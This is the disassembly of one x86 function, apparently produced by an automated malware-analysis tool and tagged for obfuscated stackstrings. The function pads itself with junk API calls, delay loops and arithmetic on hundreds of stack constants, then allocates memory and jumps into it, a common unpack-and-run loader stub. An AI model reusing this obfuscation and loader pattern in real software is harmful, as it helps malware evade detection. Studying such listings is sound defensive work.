Function at 0x401782
Capabilities:
Contain obfuscated stackstrings
Get file attributes

Disassembly:
push ebp
mov ebp, esp
sub esp, 0xaa8
push esi
xor esi, esi
cmp dword [0x443d4c], 0x20a
push edi
jne 0x4017e6
push esi
push esi
call dword [sym.imp.USER32.dll_SetCaretPos]
push esi
call dword [sym.imp.KERNEL32.dll_ReleaseMutex]
push esi
push esi
call dword [sym.imp.KERNEL32.dll_GetConsoleMode]
push 0x929
push 0xea
call fcn.0040221c
push esi
call fcn.004027d6
push esi
call fcn.00402465
fldz
fst qword [esp + 8]
fstp qword [esp]
call fcn.004021e0
push esi
fstp st(0)
call fcn.00402514
add esp, 0x14
xor edi, edi
call dword [sym.imp.KERNEL32.dll_GetThreadLocale]
cmp edi, 0x90ce7e5
jg 0x4017ff
inc edi
cmp edi, 0x7021a82a
jl 0x4017e8
call fcn.00401753
push 0x4423a0
call dword [sym.imp.KERNEL32.dll_LoadLibraryA]
push dword [0x443d4c]
mov dword [0x443d40], eax
push esi
call dword [sym.imp.KERNEL32.dll_GlobalAlloc]
mov dword [0x44383c], eax
call fcn.00401767
mov eax, dword [0x4412bc]
mov dword [0x44513c], eax
mov dword [ebp - 0x11c], 0x79e4a38c
mov dword [ebp - 0x238], 0x10b42981
mov dword [ebp - 0x80], 0x2143bd5d
mov dword [ebp - 0x260], 0x7650902e
mov dword [ebp - 0x2a4], 0x6d2cd5d9
mov dword [ebp - 0x48], 0x4423b964
mov dword [ebp - 0x220], 0x52d068a5
mov dword [ebp - 0xcc], 0x196c1370
mov dword [ebp - 0x168], 0x23fbb714
mov dword [ebp - 0x20], 0x2a249f1e
mov dword [ebp - 0x138], 0x482b68bf
mov dword [ebp - 0xd8], 0x415a1692
mov dword [ebp - 0x1d4], 0x5c0a9a5
mov dword [ebp - 0xc4], 0x2700faa2
mov dword [ebp - 0x29c], 0x4383d2a1
mov dword [ebp - 0x1c0], 0xc66a06d
mov dword [ebp - 0x98], 0xb82c215
mov dword [ebp - 0x294], 0x43e875d6
mov dword [ebp - 0x178], 0x5c475ce0
mov dword [ebp - 0x110], 0x6f3559a8
mov dword [ebp - 0x114], 0x7bf3895f
mov dword [ebp - 0x78], 0x79cda7ab
mov dword [ebp - 0x1a4], 0x6b0cf377
mov dword [ebp - 0x28c], 0x46ceca20
mov dword [ebp - 0x19c], 0x7c310959
mov dword [ebp - 0x1a0], 0x4a1da37e
mov dword [ebp - 0x40], 0x36d079f2
mov dword [ebp - 0x4c], 0x78e72912
mov dword [ebp - 0xd0], 0x4a8b3890
mov dword [ebp - 0x210], 0x417aea3d
mov dword [ebp - 0x84], 0x2f42e934
mov dword [ebp - 0x7c], 0x3ef5fbe7
mov dword [ebp - 0x90], 0x1017bd13
mov dword [ebp - 0x270], 0x4e0230e8
mov dword [ebp - 0x194], 0x7d664037
mov dword [ebp - 0xbc], 0x3b2805e9
mov dword [ebp - 0xc8], 0x39acc2ba
mov dword [ebp - 0x190], 0x3030c776
mov dword [ebp - 0x278], 0x79d6816
mov dword [ebp - 0x284], 0x48cbae1c
mov dword [ebp - 0x10c], 0x312df852
mov dword [ebp - 0xb4], 0x6eedb7d9
mov dword [ebp - 0x1f0], 0x3476d77c
mov dword [ebp - 0x108], 0x1da18ae0
mov dword [ebp - 0x1d8], 0x457dde5e
mov dword [ebp - 0x44], 0x1f3310e5
mov dword [ebp - 0x3c], 0x1bf56cad
mov dword [ebp - 0x21c], 0x5674bc21
mov dword [ebp - 0x104], 0x5197f8f8
mov dword [ebp - 0x70], 0x7e1d56d7
mov dword [ebp - 0x27c], 0x6ca39d39
mov dword [ebp - 0x100], 0x556582ae
mov dword [ebp - 0x130], 0x6aac6e1c
mov dword [ebp - 0x1cc], 0x3e18e677
mov dword [ebp - 0x214], 0x37506b08
mov dword [ebp - 0x200], 0x262a9b76
mov dword [ebp - 0x150], 0x53820506
mov dword [ebp - 0x1b8], 0x2156fa78
mov dword [ebp - 0x34], 0x60f19754
mov dword [ebp - 0x274], 0x7711afcd
mov dword [ebp - 0x18c], 0xaa51df0
mov dword [ebp - 0x288], 0x60704a6d
mov dword [ebp - 0x68], 0x101e0b5c
mov dword [ebp - 0x184], 0x30f6e212
mov dword [ebp - 0x2c], 0x69c6b46
mov dword [ebp - 0x208], 0x27533afe
mov dword [ebp - 0x20c], 0xcff690f
mov dword [ebp - 0x17c], 0x6fd81f63
mov dword [ebp - 0xc0], 0x73733237
mov dword [ebp - 0x204], 0x4cfcc534
mov dword [ebp - 0x240], 0x7460c4dd
mov dword [ebp - 0x188], 0x2a9e5ea9
mov dword [ebp - 0x26c], 0x4d99d3b
mov dword [ebp - 0x280], 0x637d0e50
mov dword [ebp - 0x268], 0x61b3554e
mov dword [ebp - 0x174], 0x21e086b8
mov dword [ebp - 0x38], 0x5b3b367a
mov dword [ebp - 0xac], 0x6ce67a8a
mov dword [ebp - 0x1c4], 0x3fc431f2
mov dword [ebp - 0x60], 0x4999accf
mov dword [ebp - 0xfc], 0x7d1facf3
mov dword [ebp - 0x1fc], 0x40cefa1f
mov dword [ebp - 0x18], 0x499aa94b
mov dword [ebp - 0x264], 0x702b6055
mov dword [ebp - 0x2a0], 0x2bcaf7d0
mov dword [ebp - 0xf4], 0x51c1afb
mov dword [ebp - 0x16c], 0x2ca2f8f3
mov dword [ebp - 0xf8], 0xf978097
mov dword [ebp - 0x160], 0x8d5059
mov dword [ebp - 0x230], 0x7fe89b07
mov dword [ebp - 0xb8], 0x6ffe7d8a
mov dword [ebp - 0x128], 0x25820c7e
mov dword [ebp - 0x1e8], 0x1d236a5a
mov dword [ebp - 0x164], 0x6894598b
mov dword [ebp - 0x24], 0x4f585992
mov dword [ebp - 0x88], 0x2b1946d8
mov dword [ebp - 0x1b0], 0x7ad0c814
mov dword [ebp - 0x120], 0x44831c36
mov dword [ebp - 0xa4], 0xdc426e1
mov dword [ebp - 0x1c], 0x57863b55
mov dword [ebp - 0xb0], 0x27e0b7cc
mov dword [ebp - 0x9c], 0x3dd067dd
mov dword [ebp - 0x1bc], 0x78f9db8e
mov dword [ebp - 0x218], 0x6a977255
mov dword [ebp - 0x15c], 0x467720e3
mov dword [ebp - 0xec], 0x37cee572
mov dword [ebp - 0x25c], 0x61d9a686
mov dword [ebp - 0x1d0], 0x77d897fe
mov dword [ebp - 0xf0], 0x66e9e68
mov dword [ebp - 0x254], 0x411c7d8a
mov dword [ebp - 0x1b4], 0x59659395
mov dword [ebp - 0x170], 0x40e58063
mov dword [ebp - 0x154], 0x549121f9
mov dword [ebp - 0x14c], 0x5f53aabb
mov dword [ebp - 0x148], 0x64a1b866
mov dword [ebp - 0x1f8], 0x47cebae5
mov dword [ebp - 0x144], 0x2cadb0f7
mov dword [ebp - 0x1f4], 0x16e2ae04
mov dword [ebp - 0xe4], 0x41390144
mov dword [ebp - 0x10], 0x144604ec
mov dword [ebp - 0x74], 0x5124eeee
mov dword [ebp - 0x14], 0x3513ed4d
mov dword [ebp - 0x1ec], 0x33de0982
mov dword [ebp - 0x1ac], 0x192a70ea
mov dword [ebp - 0x13c], 0x6996477f
mov dword [ebp - 0xdc], 0x4e5ad55c
mov dword [ebp - 0x258], 0x79a80157
mov dword [ebp - 0x134], 0x4ebadc15
mov dword [ebp - 0x30], 0x6e004b14
mov dword [ebp - 0x140], 0x3195a6a2
mov dword [ebp - 0x6c], 0x38bceb02
mov dword [ebp - 0x12c], 0x5cee6ac6
mov dword [ebp - 0x24c], 0x54636cda
mov dword [ebp - 0x2a8], 0x56a9e274
mov dword [ebp - 0x94], 0x7ac24e5b
mov dword [ebp - 0xa8], 0x51d805d5
mov dword [ebp - 0x244], 0x785634fb
mov dword [ebp - 0x58], 0x5f51e46
mov dword [ebp - 0xc], 0x42d3a2d0
mov dword [ebp - 0x250], 0x291a2e40
mov dword [ebp - 0x248], 0x109d0384
mov dword [ebp - 0x298], 0x17d70dc7
mov dword [ebp - 0x290], 0x74f71c69
mov dword [ebp - 0x180], 0x3842b138
mov dword [ebp - 0x64], 0x2d9d828b
mov dword [ebp - 0xe8], 0x1f897d5a
mov dword [ebp - 0x118], 0x6796ec44
mov dword [ebp - 0x23c], 0x9f3be1e
mov dword [ebp - 0x8c], 0x10cb0b7c
mov dword [ebp - 8], 0x66877df8
mov dword [ebp - 0x198], 0x5cf6cec3
mov dword [ebp - 0x1a8], 0xeaf7f57
mov dword [ebp - 0x234], 0x62990955
mov dword [ebp - 0x1c8], 0x3ef092f6
mov dword [ebp - 0x124], 0x575e274e
mov dword [ebp - 0x1e4], 0x755cad8b
mov dword [ebp - 0xa0], 0x6153f2f0
mov dword [ebp - 4], 0x425c0ff
mov dword [ebp - 0xe0], 0x27b7a98d
mov dword [ebp - 0x22c], 0xb2595f4
mov dword [ebp - 0x1e0], 0x1e249c9a
mov dword [ebp - 0x28], 0x335fdaaa
mov dword [ebp - 0x5c], 0x3a5db781
mov dword [ebp - 0x50], 0x2ebbdcc
mov dword [ebp - 0x158], 0x6c78101
mov dword [ebp - 0x54], 0x53e7204d
mov dword [ebp - 0xd4], 0x53d7342a
mov dword [ebp - 0x224], 0x175e7916
mov dword [ebp - 0x228], 0x35bb116a
mov dword [ebp - 0x1dc], 0xd290d4b
sub dword [ebp - 0x11c], 0x77fed1c7
sub dword [ebp - 0x11c], 0x4add95f2
mov eax, 0x6277756
mul dword [ebp - 0x11c]
mov eax, dword [ebp - 0x11c]
add dword [ebp - 0x11c], 0x75a935e8
add dword [ebp - 0x11c], 0x38dbc677
sub dword [ebp - 0x11c], 0x3dc01d34
add dword [ebp - 0x11c], 0x44a3f97e
sub dword [ebp - 0x238], 0x69427b63
sub dword [ebp - 0x80], 0x36c4b127
sub dword [ebp - 0x238], 0x705e824a
mov eax, 0x23199798
mul dword [ebp - 0x80]
mov eax, dword [ebp - 0x80]
mov eax, 0x8090cda
mul dword [ebp - 0x238]
mov eax, dword [ebp - 0x238]
mov eax, 0x47cc9b66
mul dword [ebp - 0x11c]
mov eax, dword [ebp - 0x11c]
mov eax, 0x707bfdc
mul dword [ebp - 0x11c]
mov eax, dword [ebp - 0x11c]
mov eax, 0xa86c3d4
mul dword [ebp - 0x11c]
mov eax, dword [ebp - 0x11c]
sub dword [ebp - 0x11c], 0x5a05ca71
mov eax, 0x40d76dd0
mul dword [ebp - 0x260]
mov eax, dword [ebp - 0x260]
sub dword [ebp - 0x2a4], 0x7fd814fb
sub dword [ebp - 0x48], 0x622792da
sub dword [ebp - 0x48], 0x3ed9745e
sub dword [ebp - 0xcc], 0x4f4a7547
add dword [ebp - 0x80], 0x28ad38da
sub dword [ebp - 0x48], 0x42729a85
add dword [ebp - 0x11c], 0x35f351a1
sub dword [ebp - 0xcc], 0x1ed4afb3
mov eax, 0x765c754f
mul dword [ebp - 0x48]
mov eax, dword [ebp - 0x48]
add dword [ebp - 0x48], 0x69f00a84
add dword [ebp - 0x260], 0x551dd122
mov eax, 0x7fe7effe
mul dword [ebp - 0x48]
mov eax, dword [ebp - 0x48]
mov eax, 0x57d319fb
mul dword [ebp - 0x11c]
mov eax, dword [ebp - 0x11c]
sub dword [ebp - 0x11c], 0x7acf2943
mov eax, 0x3ffbf4ee
mul dword [ebp - 0x260]
mov eax, dword [ebp - 0x260]
add dword [ebp - 0x11c], 0x64af3315
mov eax, 0x6e0eece5
mul dword [ebp - 0x138]
mov eax, dword [ebp - 0x138]
sub dword [ebp - 0xd8], 0x1932295d
add dword [ebp - 0x168], 0x6cfc0cb5
mov eax, 0x2e283608
mul dword [ebp - 0x220]
mov eax, dword [ebp - 0x220]
add dword [ebp - 0xcc], 0x429acc43
sub dword [ebp - 0xcc], 0x4dfdd6c2
sub dword [ebp - 0x48], 0x6f8d5744
sub dword [ebp - 0x168], 0x211b042e
mov eax, 0x741e2b2d
mul dword [ebp - 0x20]
mov eax, dword [ebp - 0x20]
mov eax, 0x38a3e54c
mul dword [ebp - 0x1d4]
mov eax, dword [ebp - 0x1d4]
sub dword [ebp - 0x1d4], 0x221db847
add dword [ebp - 0x294], 0x2c735d1
mov eax, 0x7df75892
mul dword [ebp - 0x11c]
mov eax, dword [ebp - 0x11c]
mov eax, 0x5f765641
mul dword [ebp - 0x11c]
call fcn.0040123b
xor edi, edi
cmp dword [0x443d4c], esi
jbe 0x4020c2
cmp dword [0x443d4c], 0x44
jne 0x4020b9
push esi
lea eax, [ebp - 0xaa8]
push eax
call dword [sym.imp.KERNEL32.dll_GetConsoleTitleW]
inc edi
cmp edi, dword [0x443d4c]
jb 0x4020a2
xor edi, edi
mov eax, dword [0x443d4c]
add eax, edi
cmp eax, 0x5e
jne 0x4020fe
push esi
push str.badahilifapilonogabupomizunutapikiri
push str.livaganecexubotegiberovubez
call dword [sym.imp.KERNEL32.dll_CreateHardLinkW]
push esi
push esi
push esi
call dword [sym.imp.KERNEL32.dll_HeapValidate]
push str.gazufeyasasodasalanix
call dword [sym.imp.KERNEL32.dll_GetFileAttributesA]
push esi
push esi
push esi
call dword [sym.imp.KERNEL32.dll_CommConfigDialogW]
inc edi
cmp edi, 0x40c893
jl 0x4020c4
call fcn.004011b2
xor ecx, ecx
cmp ecx, 0x7616
jne 0x40211b
call fcn.00401221
inc ecx
cmp ecx, 0x2464f5
jl 0x40210e
push 0x7b
pop edi
cmp dword [0x443d4c], 0xd
jne 0x402140
push esi
push esi
call dword [sym.imp.KERNEL32.dll_WaitForSingleObject]
push esi
push esi
call dword [sym.imp.ADVAPI32.dll_GetOldestEventLogRecord]
dec edi
jne 0x402127
call dword [0x44383c]
pop edi
pop esi
leave
ret